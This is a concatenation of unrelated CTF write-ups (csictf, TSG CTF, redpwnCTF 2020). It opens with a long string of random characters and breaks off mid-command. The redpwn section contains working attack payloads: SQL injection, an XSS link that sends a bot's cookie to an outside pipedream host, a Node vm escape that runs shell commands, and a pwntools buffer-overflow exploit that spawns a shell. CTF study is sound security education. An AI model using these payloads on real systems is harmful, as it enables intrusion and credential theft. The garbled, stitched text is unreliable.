QCV7E8YPTK7DTEWLZ85C3NY1SKH9E6ZKBM6J7GEV3WFX75CXZ3IY76YJYF4MQ0V83739331MJ29KYRO3X76IU7T43RD7ZSARPRBZH76X35NN2GZNCXDU5126XX5XQXNZ7AVTL69GSCTT8ISRAMYET943NUJ5I7THFAMVH7TU3AT4NNEXD7IWFW844ARZLWQRCRAH020WL3MZMBQ2WY2XULOBWZ7AJESFAWJXOE6D7120GEZY2Z0WNMSKE1B6C5ZHOVWSU38CY9YTVJFQMIOWJ23ISYTD5YVE1GE0SXELQ6S7EUY5APOMCR5N6ZGLLOMA749VBCMHM7WDWFIS6KOC1BQQEZG70X46JQGQMEDE1TQ3HJ4LIY3OAVBB5Z8EQVWMRVC176RLKIG49TJTFRGTT8WL4DSM42D50I0R6764MRPUM65AXS5ZRITVVH8RR0KD75N537DO97HJYPFH84MEKJZ32UY4GUSFX7A9MQ20IY6ZWFD1JRHVY1EDWUQVU40Q54CGAWK07AYFAQTPA8RBFRDTNC8UF55IGHX2S63PYI6H2128K2EA65H84A10J8CRHMXLCGGZQG95VBTS3SG6ODQYLG0G42OF42LUOZABQ70NU5XDXRTORBPZIVL7CO5WXGE01JKXPLH0K2HN98GIQAGG9UMA8XO7XK8RBTODH1RMRJ5DEB82LF7VSS4LD9SL7QCHUJDKF13QYTEO3GGFZD2Y0IKGVIDFBWCLCB2WBIV94YHD1MWSZV4GBLEZ7AFC465FEC5S44BHEN3ATN7Z6GFKMMRTAH3BEE7LPMWEY8B6KZL4DTXUFF81G4SYVE9U8RL0Y3YRZ607VYR4QL1EUEP3S2X6RIZETDZ5ZSIK1SVIKS6YPNQYSAGZP4BEBJ63ITIC72IWLNNHYQ9WFD6R6CV2MBDDR74F5KF3TMCLOBIM44QGYB6465Y23O93DLTBJB0VNVDGLCSQ223CIYOJX3FRNMNEKR8MXKFLKCDGPVF129N3LNMJUVHYF7DOEJLG6NG1K123FNMV1NQECX3HHEXYVERK4F06IAC8RINFSG32MF1N8VYOASR9HAWN6ET11ARF0LL8H9PVV7EVGFCFEEHCYPEGTYVHWZMYFZUJXO7GI3ZTZ0VMI6KOQP8VB72EUBZA5WFJIOHTHIXQQTVJYT0ZVKWVTUK9Q8NA1RBN1C5BZHFZSW53PLO297M6UM8JHL9KEUN3MB3CMMJ2ADJAZTRK4K2OEMQEZN1NYKMLSJYYU3WXB8OO27TCTIKIQJQ8XI5M8OG73U4H6RQ92MCXD8XKFTAEY2CZW7DVU8B2QVD0MG70QV8QI21XR9HY0CYCL0XT4MH34KLENSMBNFFNOXP4DX7RJI7SMPKIRD0ONTR8Z3KQXD606TXNOEK0AB96ABTH4OO2CZ56IXUMWDWDRMX21QHCL3BEOADWGOJKU08D4WCRWZT88CZ8KC4J0L1T1ZEAHM0MREZ5ZU9WX7E9K7USHZMKNN6F6OQ92MU63ZGB78RH62HAF6T68NH2ZM4CLB0GE6TN3M78A745JTNDDEP8ZKUHXZ17F855AK8DRIE6AL8SEOX88MU1R7Y3SFLCX9P16UBZMR2TGIZRRGHGU64WPMMZRAOSD5QI0VE4MSVYJDYPK4JZAWSWOUQNCWMU0RLZ219PXRK0TYMPKYU3UOASQJYPHE7V1Y25TJ11DD9E7TLSHSF6XJEKID1AGL94OM9N4H4HI6OFZBL95POIAXFZ1K3P9BV9AS5761EQWH7BCHCIPA7D1GXJOFRTWI44F9MRTR2WJ2ZIABUZFCIARRGZDY06RQVSB5PITZL55TRO9P02ALLRWHYKPBARZ2PNN874U91VRKON96MRT0TF0T0UNR93F2EVXY1M5GV3V6O71UUXYGT0JRFKZI478QYSJKLF9YJ2F1WX65MWBG4BV6YJUCEB8T1KJ8BAGBI3ZYGV9BDRHHT0P3NHLMTB7MVWSU3QS7V4W57TQ7P2JONE4OBQ2LS5ZXA9GUMWSUN6ERSHUHKBVYBQMKP34UF83TSNTXOJEMKO5Q56ZL8AATQHO9WTBFCLEEEUJCAJH5KAAR0BDRN8Q43W09TAMVN8M7SHXVLOG4HQEUILN47C6PQP975JAUBA4HAWQ1PUJCB5WIUJ16AN0FRTVI58VA3QZQ448MZG8616FV6WJZ6GLU3LEIZ44GENU4UERNA70NAYVR1UEEB9Y9Z36L7MWWNBMCHFSGJYU0QX5E8RP4ALXWNBBWXKHYKSA66QT4J0RD6L8N``` We can read `csictf{not_the_flag}{user2:AAE976A5232713355D58584CFE5A5}` We reconnect with the user2 login and we get some other files:```$ lsadgsfdgasf.d fadf.x janfjdkn.txt notflag.txt sadsas.tx``` We try a grep with `_`, as most flags have one:```$ grep -R _sadsas.tx:th15_15_unu5u41``` The flag is `csictf{th15_15_unu5u41}`
# TSG CTF 2020 Beginner's Crypto ## Problem The problem is given in the form of the follewing file: ```pythonassert(len(open('flag.txt', 'rb').read()) <= 50)assert(str(int.from_bytes(open('flag.txt', 'rb').read(), byteorder='big') << 10000).endswith('1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576'))``` The flag is converted to an integer value and shifted 10,000 bits to the left to give the last 175 decimal digits of the value. In other words, the purpose of this problem is to restore the flag value from: $$c=\text{flag}\cdot2^{10000}\bmod10^{175}$$ ## Solution At first you may try taking the inverse of $2^{10000}$ over $F_{10^{175}}$, but that should be impossible because they are not coprime. The correct way is, first think of $$c=\text{flag}\cdot2^{10000}\bmod5^{175}$$ and, using Eulerโ€™s theorem, calculate: $$\begin{aligned}(2^{10000})^{-1}\bmod5^{175}&=(2^{10000})^{\varphi(5^{175})-1}\\&=(2^{10000})^{5^{175}-5^{174}-1}\end{aligned}$$ and get the flag by: $$\text{flag}=c\cdot(2^{10000})^{-1}\bmod5^{175}$$ Since ${256}^{50}<5^{175}$, this is the only value that can satisfy the equation. ### Solver Script ```pythonc = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576mod = 5 ** 175phi = 5 ** 175 - 5 ** 174inv = pow(pow(2, 10000, mod), phi - 1, mod)print(((c * inv) % mod).to_bytes(50, byteorder='big'))``` The answer is `TSGCTF{0K4y_Y0U_are_r3aDy_t0_Go_aNd_dO_M0r3_CryPt}`. ## Alternative Solution #1 (by [@naan112358](https://twitter.com/naan112358)) Let's start with $$c=\text{flag}\cdot2^{10000}\bmod5^{175}$$ for the previous solution. By considering: $$2x=\begin{cases}2x\qquad\ \ (2x<M)\\2x-M\ (2x\geq M)\end{cases}\bmod M$$ we can assume that the above case produces even number and the below case produces odd number. So, ```pythondef divide_by_two(x): if x % 2 == 0: return x // 2 else: return (x + mod) // 2``` simulates division by 2 over the given modulo. We can repeat this 10000 times and get the flag. ### Solver Script ```pythonmod = 5 ** 175c = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576 % mod def divide_by_two(x): if x % 2 == 0: return x // 2 else: return (x + mod) // 2 for i in range(10000): c = divide_by_two(c) print(c.to_bytes(50, byteorder='big'))``` ## Alternative Solution #2 (by [@satos___jp](https://twitter.com/satos___jp)) Now we put: $$C=\text{flag}\cdot2^{10000}$$ Note that there's no modulo here. On the other hand we know $c$, which is the last 175 digits of $C$, so we can put: $$C=c_0\cdot{10}^{175}+c$$ Now we want to calculate $c_0$ which makes the last 10000 digits of the binary form of $C$ all zero. Then consider $C'$, which can be obtained by replacing $c_0$ to $c'_0=c_0+2^x$. Now we get: $$\begin{aligned}C'&=c'_{0}\cdot10^{175}+c\\&=\left(c_{0}+2^{x}\right)\cdot10^{175}+c\\&=c_{0}\cdot10^{175}+c+2^{x}\cdot10^{175}\\&=C+5^{175}\cdot2^{x+175}\end{aligned}$$ And the last $x+175$ digits of the binary form of $C$ is unchanged. So, by determining $c_0$ from the least significant bits, we can obtain $C$ such that all the last 10000bit is zero. Flag can be obtained by right-shifting $C$ 10000bits. ### Solver Script ```pythonc = 1002773875431658367671665822006771085816631054109509173556585546508965236428620487083647585179992085437922318783218149808537210712780660412301729655917441546549321914516504576c0 = 0bit = 1mask = 1 << 175while '1' in bin(c0 * 10 ** 175 + c)[-10000:]: if (c0 * 10 ** 175 + c) & mask != 0: c0 += bit bit <<= 1 mask <<= 1C = c0 * 10 ** 175 + cflag = (C >> 10000).to_bytes(50, byteorder='big')print(flag)```
Table of contents- [Web](#web) - [inspector-general](#inspector-general) - [login](#login) - [static-pastebin](#static-pastebin) - [panda-facts](#panda-facts)- [Crypto](#crypto) - [base646464](#base646464)- [Misc](#misc) - [ugly-bash](#ugly-bash) - [CaaSiNO](#caasino)- [Rev](#rev) - [ropes](#ropes)- [Pwn](#pwn) - [coffer-overflow-0](#coffer-overflow-0) - [coffer-overflow-1](#coffer-overflow-1) # Web## inspector-generalPoints: 113#### Description>My friend made a new webpage, can you find a flag?### SolutionAs the name of the challenge suggests, we need to inspect the given site for getting the flag. The flag can be found on /ctfs page. ![image](https://user-images.githubusercontent.com/38787278/85252999-e121b280-b465-11ea-9986-74a9da4cc188.png) Flag: flag{1nspector_g3n3ral_at_w0rk} ## loginPoints: 161#### Description>I made a cool login page. I bet you can't get in!>>Site: login.2020.redpwnc.tf ### SolutionThe web page shows a login form. When we try to login an AJAX call is made to `/api/flag` with the credentials. We are also given the source file of the login page.From the code we can see that this is prone to SQL injection. ```javascript let result; try { result = db.prepare(`SELECT * FROM users WHERE username = '${username}' AND password = '${password}';`).get(); } catch (error) { res.json({ success: false, error: "There was a problem." }); res.end(); return; } if (result) { res.json({ success: true, flag: process.env.FLAG }); res.end(); return; }``` Moving to Burp, I first tried `admin' or 1=1 #`/`admin`. This generated an error, which is good. I replace `#` with `--` and I got the flag. Afterwards I saw that the db used is `sqlite3`. ![image](https://user-images.githubusercontent.com/38787278/85321314-2f1dd100-b4cd-11ea-9d22-7fbae7a11415.png) Flag: flag{0bl1g4t0ry_5ql1} ## static-pastebinPoints: 413#### Description>I wanted to make a website to store bits of text, but I don't have any experience with web development. However, I realized that I don't need any! If you experience any issues, make a paste and send it [here](#https://admin-bot.redpwnc.tf/submit?challenge=static-pastebin) >Site: [static-pastebin.2020.redpwnc.tf](#https://static-pastebin.2020.redpwnc.tf/) ### SolutionThere are two sites for this challenge: one from which we will generate an URL and the second one where we will paste the URL so that a bot can access it. ![image](https://user-images.githubusercontent.com/38787278/85327591-e881a400-b4d7-11ea-9a39-16e6cc58aede.png) Let's take a look at the js file of this page. ```javascript(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const button = document.getElementById('button'); button.addEventListener('click', () => { const text = document.getElementById('text'); window.location = 'paste/#' + btoa(text.value); });})();``` So when hitting the `Create` button the value inside the textarea will be base64 encoded and we'll be redirected to `paste/#base64string`. Inserting `testing` we are redirected to `https://static-pastebin.2020.redpwnc.tf/paste/#dGVzdGluZw==`. Here we can see that the page displayed our text. Nice. It seems that we'll try to do a XSS attack. ![image](https://user-images.githubusercontent.com/38787278/85328355-46fb5200-b4d9-11ea-9f04-4fc3619e30c5.png) Let's take a look at the javascript code that handles this. ```javascript(async () => { await new Promise((resolve) => { window.addEventListener('load', resolve); }); const content = window.location.hash.substring(1); display(atob(content));})(); function display(input) { document.getElementById('paste').innerHTML = clean(input);} function clean(input) { let brackets = 0; let result = ''; for (let i = 0; i < input.length; i++) { const current = input.charAt(i); if (current == '<') { brackets ++; } if (brackets == 0) { result += current; } if (current == '>') { brackets --; } } return result}``` We can see that the base64 value from URL is decoded(using `atob`) and somewhat sanitized(by `clean`). Looking at the implementation of `clean()` we can see that as long as we keep the value of `brackets` 0 our input will go into the page. Trying `>` displayed us an alert, so we're on the right track. As long as we don't insert any additional `<` or `>` we can write anything as payload. I started a flow in [Pipedream](https://pipedream.com) that will intercept any request coming. I entered the link to my pipedream in the second site so check if the bot visits the link. ![image](https://user-images.githubusercontent.com/38787278/85329696-aeb29c80-b4db-11ea-8db6-259714c1b4c2.png) I also got an event on the pipedream so all we need to do now is to steal the bot's cookie. Final payload: `>` This will generate the next link: `https://static-pastebin.2020.redpwnc.tf/paste#PjxpbWcgc3JjIG9uZXJyb3I9ImxldCB4PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbignUE9TVCcsJ2h0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldCcsIHRydWUpO3guc2VuZChkb2N1bWVudC5jb29raWUpIi8+Cg==` After pasting the link in the second site we get the flag. ![image](https://user-images.githubusercontent.com/38787278/85329981-339db600-b4dc-11ea-88f7-5411aefea9b3.png) Trying to get the flag by a GET method will not work because of the characters of the flag. You have to encode first with something like `btoa`. Flag: flag{54n1t1z4t10n_k1nd4_h4rd} ## panda-factsPoints: 420#### Description>I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!>>Site: panda-facts.2020.redpwnc.tf ### SolutionThe webpage exposes a form where you enter an username and afterwards you receive an encrypted token. The decrypted value is a json with the next fields:```json{"integrity":"${INTEGRITY}","member":0,"username":"your-username"}```We can get the flag if we are a member. Since only control the username, we have to forge the token. Let's take a look at the encryption and decryption function.```javascriptasync function generateToken(username) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const cipher = crypto.createCipheriv(algorithm, key, iv); const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}` let encrypted = ''; encrypted += cipher.update(token, 'utf8', 'base64'); encrypted += cipher.final('base64'); return encrypted;} async function decodeToken(encrypted) { const algorithm = 'aes-192-cbc'; const key = Buffer.from(process.env.KEY, 'hex'); // Predictable IV doesn't matter here const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv(algorithm, key, iv); let decrypted = ''; try { decrypted += decipher.update(encrypted, 'base64', 'utf8'); decrypted += decipher.final('utf8'); } catch (error) { return false; } let res; try { res = JSON.parse(decrypted); } catch (error) { console.log(error); return false; } if (res.integrity !== INTEGRITY) { return false; } return res;}```The function that get us the flag:```javascriptapp.get('/api/flag', async (req, res) => { if (!req.cookies.token || typeof req.cookies.token !== 'string') { res.json({success: false, error: 'Invalid token'}); res.end(); return; } const result = await decodeToken(req.cookies.token); if (!result) { res.json({success: false, error: 'Invalid token'}); res.end(); return; } if (!result.member) { res.json({success: false, error: 'You are not a member'}); res.end(); return; } res.json({success: true, flag: process.env.FLAG});});``` The vulnerability is in the generation of the token. The username is inserted inside the string:```javascriptconst token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}````We can inject a payload that will overwrite the `member` property. This happens because `JSON.parse()` will take the last occurrence of the property in consideration. Providing the payload `a","member":1,"a":"` will be concatenating into `{"integrity":"12370cc0f387730fb3f273e4d46a94e5","member":0,"username":"a","member":1,"a":""}`. After decryption, when it will be parsed, the `member` will be 1 and we get the flag. ![image](https://user-images.githubusercontent.com/38787278/85615444-e6008500-b664-11ea-868e-c510d8b43e9f.png) Flag: flag{1_c4nt_f1nd_4_g00d_p4nd4_pun} # Crypto## base646464Points: 148#### Description>Encoding something multiple times makes it exponentially more secure! ### SolutionWe get two files. A text file (`cipher.txt`) with a long string that seems to be base64 encoded and a js file that contains the code used for encoding, as you can see below. ```javascriptconst btoa = str => Buffer.from(str).toString('base64'); const fs = require("fs");const flag = fs.readFileSync("flag.txt", "utf8").trim(); let ret = flag;for(let i = 0; i < 25; i++) ret = btoa(ret); fs.writeFileSync("cipher.txt", ret);``` So, it seems that the content of `flag.txt` was base64 encoded 25 times. Let's try to decode that with the next code. ```javascriptconst fs = require("fs");const encodedFlag = fs.readFileSync("cipher.txt", "utf8");let decodedStr = encodedFlag; for(let i = 0; i < 25; i++) { decodedStr = Buffer.from(decodedStr, 'base64').toString('ascii');} console.log(decodedStr);``` Flag: flag{l00ks_l1ke_a_l0t_of_64s} # Misc## ugly-bashPoints: 378#### Description>This bash script evaluates to `echo dont just run it, dummy # flag{...}` where the flag is in the comments.>>The comment won't be visible if you just execute the script. How can you mess with bash to get the value right before it executes?>>Enjoy the intro misc chal. We get a file with obfuscate bash, ~5000 characters. If we run it prints `dont just run it, dummy`. A part from the start of the code: ```bash${*%c-dFqjfo} e$'\u0076'al "$( ${*%%Q+n\{} "${@~}" $'\160'r""$'\151'$@nt"f" %s ' }~~@{$ ") }La?cc87J``` I looked over an deobfucating tool, but I didn't find anything, but I read that it can be deobfucated easily by `echo`-ing the script before eecuting. So, that's what I did. Running `echo ${*%c-dFqjfo} e$'\u0076'al "$( ${*%%Q+n\{} ...` made things more visible: ```basheval "$@" "${@//.WS1=|}" $BASH ${*%%Y#0C} ${*,,} <<< "$( E6YbzJ=( "${@,}" f "${@}"``` Now it's clear that the result of whatever is executed in the right of the `<<<` is passed as input to what's on the left of it. Echo-ing the left part: ```basheval /usr/bin/bash```Echo-ing the right side got me an error so I tried to just execute it and I got the flag:```bashecho dont just run it, dummy # flag{us3_zsh,_dummy}: command not found```Flag: flag{us3_zsh,_dummy} ## CaaSiNOPoints: 416#### Description>Who needs regex for sanitization when we have VMs?!?!>>The flag is at /ctf/flag.txt>>nc 2020.redpwnc.tf 31273### SolutionBeside the connection endpoint we also get the source code:```javascriptconst vm = require('vm')const readline = require('readline') const rl = readline.createInterface({ input: process.stdin, output: process.stdout}) process.stdout.write('Welcome to my Calculator-as-a-Service (CaaS)!\n')process.stdout.write('This calculator lets you use the full power of Javascript for\n')process.stdout.write('your computations! Try `Math.log(Math.expm1(5) + 1)`\n')process.stdout.write('Type q to exit.\n')rl.prompt()rl.addListener('line', (input) => { if (input === 'q') { process.exit(0) } else { try { const result = vm.runInNewContext(input) process.stdout.write(result + '\n') } catch { process.stdout.write('An error occurred.\n') } rl.prompt() }})```So, we pass javascript commands and those commands are executed in a separate context using the node.js `vm` module. No filtering is applied so our goal is to evade from the context created in `vm.runInNewContext` and get the flag. Searching, one of the firsts articles that popped-up was [Sandboxing NodeJS is hard, here is why](https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html), which had all the information needed for completing the challenge. The payload described there, also the one that I used, is leveraging the use of the `this` keyword. The keyword accesses the instance of the parent object, in this case, it's the context of the object outside of the `vm.runInNewContext`. Now that we can escape from that, we want to get the `process` of the parent object so that we can execute our command. We can do this by accessing the constructor property of the parent object, from which we can run the constructor function that will return the process that we want. Up until now we have: `this.constructor.constructor('return this.process')()`. Good. Now, using the returned value, we can execute commands. Final payload: ```javascriptthis.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString()```![image](https://user-images.githubusercontent.com/38787278/85459786-3ddab580-b5ab-11ea-9168-88fb268a9ca5.png) Flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD} # Rev## ropesPoints: 130#### Description>It's not just a string, it's a rope! ### SolutionWe get a file called `ropes`. We get the flag quickly by running `strings` on it. ![image](https://user-images.githubusercontent.com/38787278/85454723-dff79f00-b5a5-11ea-81e6-80cc74f11d51.png) Flag: flag{r0pes_ar3_just_l0ng_str1ngs} # Pwn## coffer-overflow-0Points: 181#### Description>Can you fill up the coffers? We even managed to find the source for you.>>nc 2020.redpwnc.tf 31199### SolutionWe get an executable and its source file:```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); }}``` It's clear that we have an buffer overflow on `name` and by overflowing it we will overwrite the `code` variable, and that will get us a shell.Payload: `AAAABBBBCCCCDDDDEEEEFFFFG` ![image](https://user-images.githubusercontent.com/38787278/85518521-fd118980-b608-11ea-9517-25907161fabe.png) Flag: flag{b0ffer_0verf10w_3asy_as_123} # Pwn## coffer-overflow-1Points: 284#### Description>The coffers keep getting stronger! You'll need to use the source, Luke. >nc 2020.redpwnc.tf 31255### SolutionWe get an executable and it's source code:```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); }}``` We can see that there's a buffer overflow vulnerability on `gets(name)`, but in order to get the a shell we need to overwrite the value from `code` to be `0xcafebabe`. We can fill the `name` buffer with `AAAABBBBCCCCDDDDEEEEFFFF` and everything we add from here it will get into `code`. Just adding `/xca/xfe/xba/xbe` won't work, we have to provide the bytes as little endian. We'll get shell using the `pwn` module and sending the payload as it follows:```pythonimport pwn con = pwn.remote('2020.redpwnc.tf', 31255) con.recv()con.recv() exploit = b'AAAABBBBCCCCDDDDEEEEFFFF' + pwn.p32(0xcafebabe)con.sendline(exploit) con.sendline('ls')ls = con.recv()print(ls) if b'flag.txt' in ls: con.sendline('cat flag.txt') print(con.recv().decode('utf-8')) con.close()``` `pwn.p32(0xcafebabex)` will make our payload to work for little endian. ![image](https://user-images.githubusercontent.com/38787278/85772996-12300a80-b726-11ea-9244-667d28056f17.png) Flag: flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}
# Linux ## AKA```Cows are following me everywhere I go. Help, I'm trapped! nc chall.csivit.com 30611``` We are stuck in a shell and some commands are disallowed: ```$ nc chall.csivit.com 30611user @ csictf: $ ls ________________________________________/ Don't look at me, I'm just here to say \\ moo. / ---------------------------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || ||user @ csictf: $ echo testtest``` Bash function is allowed, bingo ! ```user @ csictf: $ bashlsflag.txtscript.shstart.shcat flag.txtcsictf{1_4m_cl4rk3_k3nt}``` In fact some functions are just rewrites with aliases In `start.sh` there is:``` bash#! /bin/sh cd /ctf/bin/bash script.sh ```And in `script.sh`:``` bashshopt -s expand_aliasesalias cat="cowsay Don\'t look at me, I\'m just here to say moo."alias ls="cowsay Don\'t look at me, I\'m just here to say moo."alias grep="cowsay Don\'t look at me, I\'m just here to say moo."alias awk="cowsay Don\'t look at me, I\'m just here to say moo."alias pwd="cowsay Don\'t look at me, I\'m just here to say moo."alias cd="cowsay Don\'t look at me, I\'m just here to say moo."alias head="cowsay Don\'t look at me, I\'m just here to say moo."alias tail="cowsay Don\'t look at me, I\'m just here to say moo."alias less="cowsay Don\'t look at me, I\'m just here to say moo."alias more="cowsay Don\'t look at me, I\'m just here to say moo."alias sed="cowsay Don\'t look at me, I\'m just here to say moo."alias find="cowsay Don\'t look at me, I\'m just here to say moo."alias awk="cowsay Don\'t look at me, I\'m just here to say moo." while :do echo "user @ csictf: $ " read input eval $input 2>/dev/nulldone``` The flag is: `csictf{1_4m_cl4rk3_k3nt}` ## find32```I should have really named my files better. I thought I've hidden the flag, now I can't find it myself. (Wrap your flag in csictf{}) ssh [emailย protected] -p 30630 Password is find32``` On server, there is many files: ```$ ls02KG7GI3 3E7ZTAVL 5HQTP051 82R7NE45 A8DWWULS CYNFLG1O FUF4GEJ2 IUKF08Y4 KRNKFQTK M6MO9M1W OAVKKSIU Q3VV2P04 T0ST0WFT VOAZ2FLA XM6M6XV302M95EZJ 3FSO4YLX 5OWRFEZT 84XR0NUK A9ARPBTE D01U0OA5 G18VV3XH IW0M1T97 KRTDDSYK M8XE7P73 OB0TZRYT QBZ2NYYY T5D06H6O VQHX8Y2S XVXM67UN041Q5VQ6 3MPI6ZGG 5S7QF3H6 89JKXHMI AK1L1RB0 DC953402 G20VWPOJ IXLBEBRX KTE9QN31 MAC4PGYS OHGWT0IT QDDZKQBI THW3C7CC VS2QLP5T XZ5KZZPR0K8HTQUI 3NI0KD8T 5ZCQW7TK 8AYM8OQ9 AK6PZX3H DHI6XKWG G4DRQMVC IYLAWPCR KUNZ9OP2 MDZE1NQC OI290XGJ QDZM9GU3 TIE17JV7 VS5RKUTC Y0WAA0QK0L51GUQ6 3O7SZPP5 66SLWGGM 8BHHDOCA AL2HOE1I DQZAE7MY GBIA0FJJ IYT9TNZ3 L25P2X6S MIN0CJNB OJTT5YOZ QON3WELD TNGM39LQ VU7UXE91 Y2F5YYPT0POE7NLS 3SF18NHO 6IGISUOK 8DCJBGN8 ATP6Z1LV DVRULQ4L GCCH7GUL J634H910 L6RJI5MH MITS1KT3 OLHQ2XMI QV763DK6 TNNLXAMK VUU3IP28 Y41T1L0P0XC8TJL6 3WJNQHOI 6IS45I48 8O23G30S AYHI7FZG E2DCKTAW GGK14ZEP J9K0N1G3 L97LN1SA MLNCZNJH OM4BZRJ6 QXKDIR8P TOD5ZOWV VWXNPY8W YB6CGUEN10KS7XSL 3Y6ULSYJ 6JFHFM48 8Q8IDTC7 AZBQ6DI4 E2WWNK1U GN72VYNY JBNLA5LS L9HIBPO9 MLRX5NHC OO08I86R QYBFIDQA TP72DLYC VYXH92ZI YGAD81HL17HSIYXQ 40HE4X61 6JJ8M6EQ 8SQP2JFV AZF6YNNW E3VMO1UV GVAUVIPU JCUBGZ0L L9NCYUOA MT0ZF01M OPTKWTEN QYKLAVOR TQYI4JH2 W569XUGK YI5ISTTI1DB6A3RZ 41W0HO2L 6KPKMW7F 90ORMN66 BAL0FX4Y EBGAB2T7 GVTHMJMC JD8K3921 LA28D194 MVYJ08ZU OTQLM9FR QZBKI0LI TY2N5W2V W56UYZUK YI9VPU711EBY9SNN 4DXWEUAK 6NZ8YTHN 931P2T2C BDMSPZFU EDL1IX5Y H782K0GF JDVT05Q1 LB4B6X6P MWE4SJWL OVB0C2DD R3O1QJRE TZ4TM4KC W7N3EQ8A YJ4H3LH91TE2UPR9 4E5VZT6C 6O893R7P 95NBR36B BDYM2DL3 EJKM4P8J H7PWE6D1 JL8V5YGI LDMDGEL4 N56AGDMY OXNCWNKP R513RF7X U1HE6HJU W8XHJP69 YJPL7KY51VQPZIUO 4FMGJMPX 6TQAQ9JL 99KWRIDG BH13PMF2 EMAPY1SV HI1HXC9E JM035B27 LF6NHZRK N8O0W1UR P7U25CJI R75LDKZA U1Z144SU WFLCEXOU YLTYQ7PT1W6RAWEU 4LMTFZCM 6Y96J42D 9EO10QRH BP1QOD2S EMOTUDML HJ7SLXWJ JMXU733Y LIVI4VP2 N9ZX32OP P7ZSATBS RHZ4QIGE U4CT6S3M WHYUOJS2 YZOFT12321X763CW 4LYTO0ZG 71PCO4II 9KHTQSOG BRKQC7KI EPIGX1NO HKX85U5A JNTGVLSL LKLQLQ8B NDR9IE07 P8H2QJZE RSA9B4XA U9KXZUZT WO7DKKIR Z8TPG2SQ24CHFLCM 4NE1DLAV 74EIPRM5 9KQEWTD4 BT4Q0KSC EUXTE3IX HL9OQ59W JQJIA3QC LKUM0ZLZ NGT5TVLI PBMIEOJ1 RXHHGT3D UFF3VJES WQYZVZ02 ZE0LYP1J24UQMOA7 4O0KVR5P 784MLE5E 9KVDBM8O BUIYBJW6 EXVHNHYF HTFON23U JSWT0A61 LP29J6MU NJJ4FIMD PF2KOY3A RYRXFTD0 UFRWO7LV WW5L7JNK ZIIFJZRE2FFS4207 4UOCNFI8 79VJFIU5 9LNZ0ETP BW90182E EYN874N3 HW9ZGUI0 JW5DHBI2 LQWDHMT1 NMMNMEDT PJU5YNCE S3CQF12S UI3CYXEH WXW4GEDU ZKOYMDBL2L9WVOQA 4VTQDZXG 7EA2V52Y 9MP89P4E BZE1NCWY F4K726ZE HWR8ILW8 JYP14B13 LR9H9RJ4 NNGY3F51 PKEIXGTL S50ORS2M UK268DBR X1SVRUTM ZOM1L6RA2MMNROKS 526KAB1Q 7IKIFVQC 9QNUXM4L C1KDRW2G F5FFWSP3 I0GJ1ZT2 K5HIYP7U LS1E6E8N NQ3BFZKH PLE8FFL4 S9796BM8 UMVACDSG X23268R9 ZUIZ3BRS2X82259Q 5669QKVZ 7JKVQ1V4 9R6FWLZQ C5L2LOAA F9T58X71 I0HK3F0Q K7H88QI2 M0ODDGTQ NTIJFZDS PM7NRHP0 SA13FEFE UOKCOUPN X44EBTIV ZXWG1CJB31H6U39X 5714I59N 7K2HS4Y8 9SMDHC89 C75ZYB8Q FH0FGQU9 I3QH2SGS K80WPMFB M2D9A9GW NWAG08DF PMWQY71J SGCS15D7 USP8NX9I X4O9C3E9 ZYSF9F0A32DJSRCD 5D8MSKXV 7O0E74NI 9TM8NR4D C7LAWJCM FI9WZ1NI I7BE5SNQ K8670JAD M2W3FH21 NXH2E4FB PN7VNWMY SSNMEO7G UTNI6PSD X70F203P36VMK9BG 5DNAUH8Z 7QQAKH41 9UGJX4Z2 C9EN38OZ FJATAT6I I7BYYSUH KDT49C2O M40WA6L0 O08K936H PRIT98R2 ST1FTYFZ V8A4PPEG XA6HG1VW3B2F652L 5DY1KZDZ 7UB67288 9X0BSFFX CB7VL2AM FMZXZWMD IHGA1LHQ KJ26BDR0 M45WG887 O20W8JF2 PUKTT71A STYTHKQE VCSYBT6V XAGJI6C33C71HLAH 5E0OD9MJ 7UYWYDBZ 9YN7B5TM CR8AY5W7 FOGK2TD9 INUIDPFZ KOIIQDDB M4PSP87C O8C1K8CS PX7XX8MV SWD8ZKVQ VFFKFKFP XBJ59Z813CWSG1VM 5FOOLY10 80TD6MQ1 A202VRDJ CVDGAH14 FPLW13DY ISW6FLPB KQFVQJ3J M50MK22L OA9OWQNN PXR9X9H1 SXRZ25DU VL8QUY6U XESS84R7``` We try to grep the flag:```$ grep -R 